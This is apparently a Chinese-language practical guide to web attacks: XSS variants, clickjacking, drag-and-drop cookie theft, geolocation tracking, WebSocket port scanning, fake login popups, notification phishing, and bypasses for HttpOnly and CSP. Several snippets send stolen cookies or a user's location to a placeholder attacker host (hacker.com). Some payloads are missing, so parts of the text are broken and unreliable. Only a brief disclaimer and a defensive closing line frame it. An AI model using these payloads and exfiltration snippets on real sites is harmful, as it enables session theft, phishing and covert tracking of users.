以下是针对HTML安全攻防的实战技巧与案例解析指南,涵盖XSS、点击劫持、Cookie劫持等核心攻击技术,结合具体代码示例和漏洞利用场景:
一、XSS攻击实战技巧
1. 反射型XSS注入
若存在未过滤的PHP参数输出:
php
构造URL:
`http://site.com?test=`
用户访问后直接弹窗显示Cookie。
使用Unicode编码或HTML实体绕过简单过滤:
``(需配合innerHTML解析)。
2. 存储型XSS持久化攻击
提交恶意内容到数据库:
``
所有访问该页面的用户Cookie将被窃取。
3. DOM型XSS高级利用
javascript
document.getElementById("t").innerHTML = userInput;
输入 `' onclick=alert(1) //` 闭合标签并插入事件,或
`'>` 注入新标签。
二、点击劫持与Cookie劫持
1. 透明层点击劫持(ClickJacking)
1. 将目标页面嵌入透明iframe:
html
2. 诱导用户点击虚假按钮,实际触发隐藏页面的敏感操作(如转账)。
2. 拖放劫持(CookieJacking)
javascript
// 欺骗用户拖拽元素到攻击者控制的区域
document.ondragover = function(e) { e.preventDefault; };
document.ondrop = function(e) {
e.preventDefault;
fetch('http://hacker.com?cookie=' + e.dataTransfer.getData('text'));
};
通过XSS或伪装页面窃取跨域Cookie。
三、HTML5新特性攻击
1. 地理定位追踪
javascript
navigator.geolocation.getCurrentPosition(function(pos) {
fetch('http://hacker.com/loc?lat=' + pos.coords.latitude + '&lon=' + pos.coords.longitude);
});
用户一旦授权,位置信息实时上传。
2. WebSocket端口扫描
javascript
new WebSocket("ws://192.168.1.1:22").onerror = function {
console.log("Port 22 is open!");
};
根据响应时间判断端口开放情况。
四、社会工程学技巧
1. 伪造登录弹窗(钓鱼攻击)
html
通过CSS模拟系统级弹窗,诱导用户输入凭证。
2. 桌面通知滥用
1. 请求通知权限,用户授权后推送恶意链接:
javascript
Notification.requestPermission.then( => {
new Notification("安全警告", {body: "点击此处立即修复漏洞", data: "http://hacker.com"});
});
用户点击通知后跳转至钓鱼页面。
五、防御规避与绕过技巧
1. 绕过HttpOnly Cookie限制:
通过XSS劫持用户会话,直接模拟POST请求(非Cookie依赖操作)。
2. 绕过CSP策略:
利用JSONP接口或动态脚本加载第三方恶意代码。
3. 混合内容攻击:
在HTTPS页面中嵌入HTTP资源,触发浏览器安全警告降低用户警惕性。
以上技术仅限安全研究用途,实际攻击可能涉及法律风险。开发者应通过输入过滤、CSP策略、X-Frame-Options响应头等方式加固防护。